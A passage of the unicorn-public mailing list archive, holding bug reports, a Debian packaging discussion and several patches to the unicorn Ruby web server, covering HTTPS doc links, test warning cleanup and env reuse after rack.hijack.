previous versions worked just fine as well). I've got a rails 5.2 app
started via:
bin/unicorn_rails -E development -c config/unicorn.rb
With the minimal config.ru in place (require environment, run app), I get:
I, [2019-03-06T12:28:44.393406 #43714] INFO -- : Refreshing Gem list
ArgumentError: wrong number of arguments (given 0, expected 2)
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/lib/unicorn.rb:49:in
`block in builder'
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/bin/unicorn_rails:139:in
`block in rails_builder'
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/lib/unicorn/http_server.rb:794:in
`build_app!'
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/lib/unicorn/http_server.rb:141:in
`start'
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/bin/unicorn_rails:209:in
`<top (required)>'
bin/unicorn_rails:17:in `load'
bin/unicorn_rails:17:in `<top (required)>'
Any ideas how to debug this further? (I made an attempt at bisecting
last release, but ended up with yet another issue there when building
native extensions when installing 5.4.1 over another version of 5.4.1,
so gave up for now - let me know if that's the only way)
--
Stan Pitucha
Site Reliability Engineer at Envato
http://envato.com
^ permalink raw reply [relevance 3%]
* Re: Bug#918916: Unicorn not reporting proper version for gemfile?
2019-01-12 10:04 6% ` Dominik George
@ 2019-01-12 12:18 6% ` Hleb Valoshka
0 siblings, 0 replies; 200+ results
From: Hleb Valoshka @ 2019-01-12 12:18 UTC (permalink / raw)
To: Dominik George; +Cc: 918916, Justin Hallett, unicorn-public
On 1/12/19, Dominik George <natureshadow@debian.org> wrote:
>>The problem is not in Unicorn. The problem is in gem2deb which
>>generated incorrect unicorn-0.gemspec for the package.
>
> OK... But, why was it fixed when I rebuilt with the patch?
Different gem2deb versions? Have you tried to rebuild it without that patch?
^ permalink raw reply [relevance 6%]
* Re: Bug#918916: Unicorn not reporting proper version for gemfile?
2019-01-12 9:42 10% ` Hleb Valoshka
@ 2019-01-12 10:04 6% ` Dominik George
2019-01-12 12:18 6% ` Hleb Valoshka
0 siblings, 1 reply; 200+ results
From: Dominik George @ 2019-01-12 10:04 UTC (permalink / raw)
To: Hleb Valoshka, 918916; +Cc: Justin Hallett, unicorn-public
>I've checked debian's git, this patch was introduced when
>ENV["VERSION"] was required to use the gemspec. Now as the upstream
>gemspec provides the same it's not required.
>
>The problem is not in Unicorn. The problem is in gem2deb which
>generated incorrect unicorn-0.gemspec for the package.
OK... But, why was it fixed when I rebuilt with the patch?
-nik
^ permalink raw reply [relevance 6%]
* Re: Bug#918916: Unicorn not reporting proper version for gemfile?
2019-01-10 20:28 10% ` Bug#918916: Unicorn not reporting proper version for gemfile? Eric Wong
@ 2019-01-12 9:42 10% ` Hleb Valoshka
2019-01-12 10:04 6% ` Dominik George
0 siblings, 1 reply; 200+ results
From: Hleb Valoshka @ 2019-01-12 9:42 UTC (permalink / raw)
To: 918916; +Cc: Dominik George, Justin Hallett, unicorn-public
On 1/10/19, Eric Wong <e@80x24.org> wrote:
>> +- s.version = (ENV['VERSION'] || '5.4.1').dup
>> ++ s.version = '5.4.1'
>
> Why is ignoring ENV['VERSION'] necessary for the Debian build?
> I can probably remove that check if desired from the upstream
> package before the 5.5.0 release.
I've checked debian's git, this patch was introduced when
ENV["VERSION"] was required to use the gemspec. Now as the upstream
gemspec provides the same it's not required.
The problem is not in Unicorn. The problem is in gem2deb which
generated incorrect unicorn-0.gemspec for the package.
^ permalink raw reply [relevance 10%]
* Re: Bug#918916: Unicorn not reporting proper version for gemfile?
[not found] ` <20190110200102.GA14520@portux.naturalnet.de>
@ 2019-01-10 20:28 10% ` Eric Wong
2019-01-12 9:42 10% ` Hleb Valoshka
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2019-01-10 20:28 UTC (permalink / raw)
To: Dominik George, 918916; +Cc: Justin Hallett, unicorn-public
(unicorn upstream here, adding unicorn-public to Cc,
for context: <https://bugs.debian.org/918916> )
Dominik George <natureshadow@debian.org> wrote:
> +--- a/unicorn.gemspec
> ++++ b/unicorn.gemspec
> +@@ -11,7 +11,7 @@ end.compact
> +
> + Gem::Specification.new do |s|
> + s.name = %q{unicorn}
> +- s.version = (ENV['VERSION'] || '5.4.1').dup
> ++ s.version = '5.4.1'
Why is ignoring ENV['VERSION'] necessary for the Debian build?
I can probably remove that check if desired from the upstream
package before the 5.5.0 release.
^ permalink raw reply [relevance 10%]
* [PATCH] doc: update more URLs to use HTTPS and avoid redirects
@ 2018-11-07 23:38 11% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-11-07 23:38 UTC (permalink / raw)
To: unicorn-public
Latency from redirects is painful, and HTTPS can protect privacy
in some cases.
---
.olddoc.yml | 2 +-
Application_Timeouts | 8 ++++----
Documentation/unicorn.1.txt | 2 +-
Documentation/unicorn_rails.1.txt | 2 +-
LICENSE | 4 ++--
Links | 12 ++++++------
README | 8 ++++----
Sandbox | 4 ++--
examples/logrotate.conf | 2 +-
examples/nginx.conf | 5 +++--
lib/unicorn/configurator.rb | 2 +-
lib/unicorn/http_request.rb | 2 +-
lib/unicorn/http_server.rb | 2 +-
lib/unicorn/util.rb | 2 +-
t/README | 8 ++++----
15 files changed, 33 insertions(+), 32 deletions(-)
diff --git a/.olddoc.yml b/.olddoc.yml
index cacc0ab..d2d340f 100644
--- a/.olddoc.yml
+++ b/.olddoc.yml
@@ -1,6 +1,6 @@
---
cgit_url: https://bogomips.org/unicorn.git
-git_url: git://bogomips.org/unicorn.git
+git_url: https://bogomips.org/unicorn.git
rdoc_url: https://bogomips.org/unicorn/
ml_url: https://bogomips.org/unicorn-public/
merge_html:
diff --git a/Application_Timeouts b/Application_Timeouts
index 561a1cc..4dcd954 100644
--- a/Application_Timeouts
+++ b/Application_Timeouts
@@ -23,10 +23,10 @@ Most database adapters allow configurable timeouts.
Net::HTTP and Net::SMTP in the Ruby standard library allow
configurable timeouts.
-Even for things as fast as {memcached}[http://memcached.org/],
-{dalli}[http://rubygems.org/gems/dalli],
-{memcached}[http://rubygems.org/gems/memcached] and
-{memcache-client}[http://rubygems.org/gems/memcache-client] RubyGems all
+Even for things as fast as {memcached}[https://memcached.org/],
+{dalli}[https://rubygems.org/gems/dalli],
+{memcached}[https://rubygems.org/gems/memcached] and
+{memcache-client}[https://rubygems.org/gems/memcache-client] RubyGems all
offer configurable timeouts.
Consult the relevant documentation for the libraries you use on
diff --git a/Documentation/unicorn.1.txt b/Documentation/unicorn.1.txt
index e692078..da7281d 100644
--- a/Documentation/unicorn.1.txt
+++ b/Documentation/unicorn.1.txt
@@ -182,6 +182,6 @@ the unicorn config file.
* [Rackup HowTo][3]
[1]: https://bogomips.org/unicorn/
-[2]: http://www.rubydoc.info/github/rack/rack/
+[2]: https://www.rubydoc.info/github/rack/rack/
[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: https://bogomips.org/unicorn/SIGNALS.html
diff --git a/Documentation/unicorn_rails.1.txt b/Documentation/unicorn_rails.1.txt
index 088e2ff..fb0e60f 100644
--- a/Documentation/unicorn_rails.1.txt
+++ b/Documentation/unicorn_rails.1.txt
@@ -170,6 +170,6 @@ used by Unicorn.
* [Rackup HowTo][3]
[1]: https://bogomips.org/unicorn/
-[2]: http://www.rubydoc.info/github/rack/rack/
+[2]: https://www.rubydoc.info/github/rack/rack/
[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: https://bogomips.org/unicorn/SIGNALS.html
diff --git a/LICENSE b/LICENSE
index 5b6458e..e986865 100644
--- a/LICENSE
+++ b/LICENSE
@@ -8,8 +8,8 @@ any later version. We currently prefer the GPLv3 or later for
derivative works, but the GPLv2 is fine.
The complete texts of the GPLv2 and GPLv3 are below:
-GPLv2 - http://www.gnu.org/licenses/gpl-2.0.txt
-GPLv3 - http://www.gnu.org/licenses/gpl-3.0.txt
+GPLv2 - https://www.gnu.org/licenses/gpl-2.0.txt
+GPLv3 - https://www.gnu.org/licenses/gpl-3.0.txt
You may (against our _preference_) also use the Ruby 1.8 license terms
which we inherited from the original Mongrel project when we forked it:
diff --git a/Links b/Links
index 475a6c0..baba9c7 100644
--- a/Links
+++ b/Links
@@ -10,7 +10,7 @@ The unicorn project is not responsible for the content in these links.
Furthermore, the unicorn project has never, does not and will never endorse:
* any for-profit entities or services
-* any non-{Free Software}[http://www.gnu.org/philosophy/free-sw.html]
+* any non-{Free Software}[https://www.gnu.org/philosophy/free-sw.html]
The existence of these links does not imply endorsement of any entities
or services behind them.
@@ -31,25 +31,25 @@ or services behind them.
=== unicorn is written to work with
-* {Rack}[http://rack.github.io/] - a minimal interface between webservers
+* {Rack}[https://rack.github.io/] - a minimal interface between webservers
supporting Ruby and Ruby frameworks
* {Ruby}[https://www.ruby-lang.org/en/] - the programming language of
Rack and unicorn
-* {nginx}[http://nginx.org/] (Free versions) -
+* {nginx}[https://nginx.org/] (Free versions) -
the reverse proxy for use with unicorn
=== Derivatives
-* {Green Unicorn}[http://gunicorn.org/] - a Python version of unicorn
+* {Green Unicorn}[https://gunicorn.org/] - a Python version of unicorn
-* {Starman}[http://search.cpan.org/dist/Starman/] - Plack/PSGI version
+* {Starman}[https://metacpan.org/release/Starman/] - Plack/PSGI version
of unicorn
=== Prior Work
-* {Mongrel}[http://rubygems.org/gems/mongrel] - the awesome webserver
+* {Mongrel}[https://rubygems.org/gems/mongrel] - the awesome webserver
unicorn is based on
* {david}[https://bogomips.org/david.git] - a tool to explain why you need
diff --git a/README b/README
index 29e04b4..5e5ccf7 100644
--- a/README
+++ b/README
@@ -10,7 +10,7 @@ both the the request and response in between unicorn and slow clients.
* Designed for Rack, Unix, fast clients, and ease-of-debugging. We
cut out everything that is better supported by the operating system,
- {nginx}[http://nginx.org/] or {Rack}[http://rack.github.io/].
+ {nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
* Compatible with Ruby 1.9.3 and later.
unicorn 4.x remains supported for Ruby 1.8 users.
@@ -77,13 +77,13 @@ You may install it via RubyGems on RubyGems.org:
You can get the latest source via git from the following locations
(these versions may not be stable):
- git://bogomips.org/unicorn.git
- git://repo.or.cz/unicorn.git (mirror)
+ https://bogomips.org/unicorn.git
+ https://repo.or.cz/unicorn.git (mirror)
You may browse the code from the web:
* https://bogomips.org/unicorn.git
-* http://repo.or.cz/w/unicorn.git (gitweb)
+* https://repo.or.cz/w/unicorn.git (gitweb)
See the HACKING guide on how to contribute and build prerelease gems
from git.
diff --git a/Sandbox b/Sandbox
index e10b36d..d0f915e 100644
--- a/Sandbox
+++ b/Sandbox
@@ -3,7 +3,7 @@
Since unicorn includes executables and is usually used to start a Ruby
process, there are certain caveats to using it with tools that sandbox
RubyGems installations such as
-{Bundler}[http://bundler.io/] or
+{Bundler}[https://bundler.io/] or
{Isolate}[https://github.com/jbarnette/isolate].
== General deployment
@@ -66,7 +66,7 @@ before_exec hook as illustrated by https://gist.github.com/534668
Ruby 2.0.0 enforces FD_CLOEXEC on file descriptors by default. unicorn
has been prepared for this behavior since unicorn 4.1.0, and bundler
needs the "--keep-file-descriptors" option for "bundle exec":
-http://bundler.io/man/bundle-exec.1.html
+https://bundler.io/man/bundle-exec.1.html
== Isolate
diff --git a/examples/logrotate.conf b/examples/logrotate.conf
index 437f6c6..77a01b5 100644
--- a/examples/logrotate.conf
+++ b/examples/logrotate.conf
@@ -2,7 +2,7 @@
# /etc/logrotate.d/unicorn_app on my Debian systems
#
# See the logrotate(8) manpage for more information:
-# http://linux.die.net/man/8/logrotate
+# https://linux.die.net/man/8/logrotate
#
# public logrotate-related discussion in our archives:
# https://bogomips.org/unicorn-public/?q=logrotate
diff --git a/examples/nginx.conf b/examples/nginx.conf
index e25712f..b6b69c1 100644
--- a/examples/nginx.conf
+++ b/examples/nginx.conf
@@ -56,7 +56,8 @@ http {
# to configure it all in one place here for static files and also
# to disable gzip for clients who don't get gzip/deflate right.
# There are other gzip settings that may be needed used to deal with
- # bad clients out there, see http://wiki.nginx.org/NginxHttpGzipModule
+ # bad clients out there, see
+ # https://nginx.org/en/docs/http/ngx_http_gzip_module.html
gzip on;
gzip_http_version 1.0;
gzip_proxied any;
@@ -117,7 +118,7 @@ http {
location @app {
# an HTTP header important enough to have its own Wikipedia entry:
- # http://en.wikipedia.org/wiki/X-Forwarded-For
+ # https://en.wikipedia.org/wiki/X-Forwarded-For
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# enable this if you forward HTTPS traffic to unicorn,
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index d426edf..e8b76f5 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -238,7 +238,7 @@ def before_exec(*args, &block)
# server 192.168.0.9:8080 fail_timeout=0;
# }
#
- # See http://nginx.org/en/docs/http/ngx_http_upstream_module.html
+ # See https://nginx.org/en/docs/http/ngx_http_upstream_module.html
# for more details on nginx upstream configuration.
def timeout(seconds)
set_int(:timeout, seconds, 3)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 8bb884b..bcc1f2d 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -65,7 +65,7 @@ def read(socket)
clear
e = env
- # From http://www.ietf.org/rfc/rfc3875:
+ # From https://www.ietf.org/rfc/rfc3875:
# "Script authors should be aware that the REMOTE_ADDR and
# REMOTE_HOST meta-variables (see sections 4.1.8 and 4.1.9)
# may not identify the ultimate source of the request. They
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 62f6171..5334fa0 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -84,7 +84,7 @@ def initialize(app, options = {})
# * The master process never closes or reinitializes this once
# initialized. Signal handlers in the master process will write to
# it to wake up the master from IO.select in exactly the same manner
- # djb describes in http://cr.yp.to/docs/selfpipe.html
+ # djb describes in https://cr.yp.to/docs/selfpipe.html
#
# * The workers immediately close the pipe they inherit. See the
# Unicorn::Worker class for the pipe workers use.
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index 501930c..b826de4 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -64,7 +64,7 @@ def self.reopen_logs
fp.reopen(fp.path, "a")
else
# We should not need this workaround, Ruby can be fixed:
- # http://bugs.ruby-lang.org/issues/9036
+ # https://bugs.ruby-lang.org/issues/9036
# MRI will not call call fclose(3) or freopen(3) here
# since there's no associated std{in,out,err} FILE * pointer
# This should atomically use dup3(2) (or dup2(2)) syscall
diff --git a/t/README b/t/README
index bcaf3ce..0d9b697 100644
--- a/t/README
+++ b/t/README
@@ -10,17 +10,17 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.9.3+}[https://www.ruby-lang.org/] (duh!)
-* {GNU make}[http://www.gnu.org/software/make/]
+* {Ruby 1.9.3+}[https://www.ruby-lang.org/en/] (duh!)
+* {GNU make}[https://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
-* {curl}[http://curl.haxx.se/]
+* {curl}[https://curl.haxx.se/]
* standard UNIX shell utilities (Bourne sh, awk, sed, grep, ...)
We do not use bashisms or any non-portable, non-POSIX constructs
in our shell code. We use the "pipefail" option if available and
mainly test with {ksh}[http://kornshell.com/], but occasionally
with {dash}[http://gondor.apana.org.au/~herbert/dash/] and
-{bash}[http://www.gnu.org/software/bash/], too.
+{bash}[https://www.gnu.org/software/bash/], too.
== Running Tests
--
EW
^ permalink raw reply related [relevance 11%]
* Re: Support default_middleware configurator method
@ 2018-09-14 0:00 3% ` Jeremy Evans
0 siblings, 0 replies; 200+ results
From: Jeremy Evans @ 2018-09-14 0:00 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 09/13 10:34, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > I was originally looking for a way to turn off default middleware
> > without having to specify the -N command line option every time.
> > After reading the Unicorn.builder code, I thought it may be
> > possible to do this by specifying the option as an embedded option
> > in the rackup file, via the following line at the top of the file:
> >
> > #\-N
> >
> > Unfortunately, while this works for many other command line options,
> > because of Unicorn's internals, this doesn't work for -N, as
> > embedded options are not parsed until after the check for skipping
> > default middleware is made.
>
> That was intentional, I think. We should never be encouraging
> users to pollute config.ru and make it difficult to migrate/test
> other servers.
>
> > This patch makes the embedded -N option work, as well as adds a
> > default_middleware configuration file option
>
> I really hate the -N vs RACK_ENV=none redundancy... Is -N still
> needed for Rails or something else while keeping RACK_ENV unset?
I use RACK_ENV to configure the environment for my web applications, and
for a few reasons have used development/test/production as the
environment names. I try as much as possible to have the development
environment mirror the production environment unless there is a good
reason to be different, and would like to avoid adding all of the
middleware Unicorn adds in development mode.
Additionally, let's say I want to add Rack::CommonLogger to both
development and production environments. So in my config.ru, I add:
use Rack::CommonLogger, Logger.new($stderr)
Now I load up the development version. Then I have two common loggers
in development, with all requests being logged twice. I currently
work around this by doing something like:
unless ENV['RACK_ENV'] == 'development'
use Rack::CommonLogger, Logger.new($stderr)
end
I would like to avoid having to do that.
> Worse case is we only support default_middleware as a config
> option (but I prefer not to add more options). Embedded -N support
> is an anti-feature which leads to lock-in.
I don't really care about embedded -N support. I actually didn't even
know embedded command file options were possible until I saw the
comment in Unicorn.builder. I just want some way to specify not to
load default middleware without requiring a command line option each
time.
Thanks,
Jeremy
^ permalink raw reply [relevance 3%]
* [PATCH] tests: cleanup some unused variable warnings
@ 2017-12-22 3:17 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-12-22 3:17 UTC (permalink / raw)
To: unicorn-public
Add a new "check-warnings" target to the GNUmakefile to make
checking for this easier. Warnings aren't fatal, and newer
versions of Ruby tend to increase warnings.
---
GNUmakefile | 5 +++++
test/unit/test_droplet.rb | 2 +-
test/unit/test_request.rb | 20 ++++++++++----------
3 files changed, 16 insertions(+), 11 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index 51045d4..2505e1f 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -249,5 +249,10 @@ endif
$(PLACEHOLDERS):
echo olddoc_placeholder > $@
+check-warnings:
+ @(for i in $$(git ls-files '*.rb' bin | grep -v '^setup\.rb$$'); \
+ do $(RUBY) --disable-gems -d -W2 -c \
+ $$i; done) | grep -v '^Syntax OK$$' || :
+
.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man
.PHONY: test-install
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 73cf38c..81ad82b 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -4,7 +4,7 @@
class TestDroplet < Test::Unit::TestCase
def test_create_many_droplets
now = Time.now.to_i
- tmp = (0..1024).map do |i|
+ (0..1024).each do |i|
droplet = Unicorn::Worker.new(i)
assert droplet.respond_to?(:tick)
assert_equal 0, droplet.tick
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index f0ccaf7..6cb0268 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -34,7 +34,7 @@ def test_options
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_query
@@ -44,7 +44,7 @@ def test_absolute_uri_with_query
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_fragment
@@ -55,7 +55,7 @@ def test_absolute_uri_with_fragment
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
assert_equal 'frag', env['FRAGMENT']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_with_query_and_fragment
@@ -66,7 +66,7 @@ def test_absolute_uri_with_query_and_fragment
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
assert_equal 'frag', env['FRAGMENT']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_absolute_uri_unsupported_schemes
@@ -83,7 +83,7 @@ def test_x_forwarded_proto_https
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "https", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_x_forwarded_proto_http
@@ -92,7 +92,7 @@ def test_x_forwarded_proto_http
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_x_forwarded_proto_invalid
@@ -101,7 +101,7 @@ def test_x_forwarded_proto_invalid
"Host: foo\r\n\r\n")
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_get
@@ -109,7 +109,7 @@ def test_rack_lint_get
env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_no_content_stringio
@@ -143,7 +143,7 @@ def test_rack_lint_put
"abcde")
env = @request.read(client)
assert ! env.include?(:http_body)
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_big_put
@@ -177,6 +177,6 @@ def client.kgio_read!(*args)
}
assert_nil env['rack.input'].read(bs)
env['rack.input'].rewind
- res = @lint.call(env)
+ assert_kind_of Array, @lint.call(env)
end
end
--
EW
^ permalink raw reply related [relevance 4%]
* [PATCH] avoid reusing env on hijack
@ 2017-12-16 1:49 7% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-12-16 1:49 UTC (permalink / raw)
To: Sam Saffron; +Cc: unicorn-public
Eric Wong <e@80x24.org> wrote:
> Btw, did you get a chance to look at my patch? (I haven't :x)
Thanks for testing (privately confirmed).
I've added a test case and pushed the following out to unicorn.git
https://bogomips.org/unicorn.git/patch?id=30e3c6abe542c6a9f5955e1d65896a0c3bab534f
I think we're due for a release soonish, especially with Ruby 2.5
around the corner...
--------8<--------
Subject: [PATCH] avoid reusing env on hijack
Hijackers may capture and reuse `env' indefinitely, so we must
not use it in those cases for future requests. For non-hijack
requests, we continue to reuse the `env' object to reduce
memory recycling.
Reported-and-tested-by: Sam Saffron <sam.saffron@gmail.com>
---
ext/unicorn_http/unicorn_http.rl | 15 +++++++++++++++
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 5 +++--
lib/unicorn/http_server.rb | 3 +--
t/hijack.ru | 12 ++++++++++++
t/t0200-rack-hijack.sh | 23 ++++++++++++++++++++++-
6 files changed, 54 insertions(+), 5 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 357440b..283bfa2 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -26,6 +26,7 @@ void init_unicorn_httpdate(VALUE mark_ary);
#define UH_FL_HASHEADER 0x100
#define UH_FL_TO_CLEAR 0x200
#define UH_FL_RESSTART 0x400 /* for check_client_connection */
+#define UH_FL_HIJACK 0x800
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
@@ -607,6 +608,10 @@ static VALUE HttpParser_clear(VALUE self)
{
struct http_parser *hp = data_get(self);
+ /* we can't safely reuse .buf and .env if hijacked */
+ if (HP_FL_TEST(hp, HIJACK))
+ return HttpParser_init(self);
+
http_parser_init(hp);
my_hash_clear(hp->env);
@@ -813,6 +818,15 @@ static VALUE HttpParser_env(VALUE self)
return data_get(self)->env;
}
+static VALUE HttpParser_hijacked_bang(VALUE self)
+{
+ struct http_parser *hp = data_get(self);
+
+ HP_FL_SET(hp, HIJACK);
+
+ return self;
+}
+
/**
* call-seq:
* parser.filter_body(dst, src) => nil/src
@@ -947,6 +961,7 @@ void Init_unicorn_http(void)
rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
rb_define_method(cHttpParser, "env", HttpParser_env, 0);
+ rb_define_method(cHttpParser, "hijacked!", HttpParser_hijacked_bang, 0);
rb_define_method(cHttpParser, "response_start_sent=", HttpParser_rssset, 1);
rb_define_method(cHttpParser, "response_start_sent", HttpParser_rssget, 0);
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index f83a566..d713b19 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -98,6 +98,7 @@ def read(socket)
# for rack.hijack, we respond to this method so no extra allocation
# of a proc object
def call
+ hijacked!
env['rack.hijack_io'] = env['unicorn.socket']
end
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index ec128e4..b23e521 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -21,13 +21,13 @@ def err_response(code, response_start_sent)
# writes the rack_response to socket as an HTTP response
def http_response_write(socket, status, headers, body,
- response_start_sent=false)
+ req = Unicorn::HttpRequest.new)
hijack = nil
if headers
code = status.to_i
msg = STATUS_CODES[code]
- start = response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
+ start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
@@ -52,6 +52,7 @@ def http_response_write(socket, status, headers, body,
end
if hijack
+ req.hijacked!
hijack.call(socket)
else
body.each { |chunk| socket.write(chunk) }
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index f33aa25..8674729 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -614,8 +614,7 @@ def process_client(client)
return if @request.hijacked?
end
@request.headers? or headers = nil
- http_response_write(client, status, headers, body,
- @request.response_start_sent)
+ http_response_write(client, status, headers, body, @request)
ensure
body.respond_to?(:close) and body.close
end
diff --git a/t/hijack.ru b/t/hijack.ru
index 4adec61..02260e2 100644
--- a/t/hijack.ru
+++ b/t/hijack.ru
@@ -11,11 +11,15 @@ def close
warn "closed DieIfUsed #{@@n += 1}\n"
end
end
+
+envs = []
+
run lambda { |env|
case env["PATH_INFO"]
when "/hijack_req"
if env["rack.hijack?"]
io = env["rack.hijack"].call
+ envs << env
if io.respond_to?(:read_nonblock) &&
env["rack.hijack_io"].respond_to?(:read_nonblock)
@@ -33,11 +37,19 @@ def close
{
"Content-Length" => r.bytesize.to_s,
"rack.hijack" => proc do |io|
+ envs << env
io.write(r)
io.close
end
},
DieIfUsed.new
]
+ when "/normal_env_id"
+ b = "#{env.object_id}\n"
+ h = {
+ 'Content-Type' => 'text/plain',
+ 'Content-Length' => b.bytesize.to_s,
+ }
+ [ 200, h, [ b ] ]
end
}
diff --git a/t/t0200-rack-hijack.sh b/t/t0200-rack-hijack.sh
index de3eb82..fee0791 100755
--- a/t/t0200-rack-hijack.sh
+++ b/t/t0200-rack-hijack.sh
@@ -1,6 +1,6 @@
#!/bin/sh
. ./test-lib.sh
-t_plan 5 "rack.hijack tests (Rack 1.5+ (Rack::VERSION >= [ 1,2]))"
+t_plan 9 "rack.hijack tests (Rack 1.5+ (Rack::VERSION >= [ 1,2]))"
t_begin "setup and start" && {
unicorn_setup
@@ -8,14 +8,35 @@ t_begin "setup and start" && {
unicorn_wait_start
}
+t_begin "normal env reused between requests" && {
+ env_a="$(curl -sSf http://$listen/normal_env_id)"
+ b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_a" = x"$b"
+}
+
t_begin "check request hijack" && {
test "xrequest.hijacked" = x"$(curl -sSfv http://$listen/hijack_req)"
}
+t_begin "env changed after request hijack" && {
+ env_b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_a" != x"$env_b"
+}
+
t_begin "check response hijack" && {
test "xresponse.hijacked" = x"$(curl -sSfv http://$listen/hijack_res)"
}
+t_begin "env changed after response hijack" && {
+ env_c="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_b" != x"$env_c"
+}
+
+t_begin "env continues to be reused between requests" && {
+ b="$(curl -sSf http://$listen/normal_env_id)"
+ test x"$env_c" = x"$b"
+}
+
t_begin "killing succeeds after hijack" && {
kill $unicorn_pid
}
--
EW
^ permalink raw reply related [relevance 7%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-10-03 17:15 3% ` Eric Wong
@ 2017-10-03 18:20 4% ` Xuanzhong Wei
0 siblings, 0 replies; 200+ results
From: Xuanzhong Wei @ 2017-10-03 18:20 UTC (permalink / raw)
To: e; +Cc: azrlew, code, maillist, pere.joan, philip, unicorn-public
Thanks for quick response!
Here is the compiler version:
gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC)
Furthermore, although I was not able to re-produce the issue with codes caused
the problem, I generated some core files of normal and abnormal masters and
workers.
Here is a glimpse of `ruby_current_vm.objspace.global_list`
compared with normal and abnormal masters with same codes.
// normal
(gdb)
$72 = (struct gc_list *) 0x7feb65625680
$73 = 5
---------------------------------------------
(gdb)
$74 = (struct gc_list *) 0x7feb6424e2a0
$75 = 7 # T_ARRAY
---------------------------------------------
(gdb)
$76 = (struct gc_list *) 0x7feb63a8c120
$77 = 8
// abnormal
(gdb)
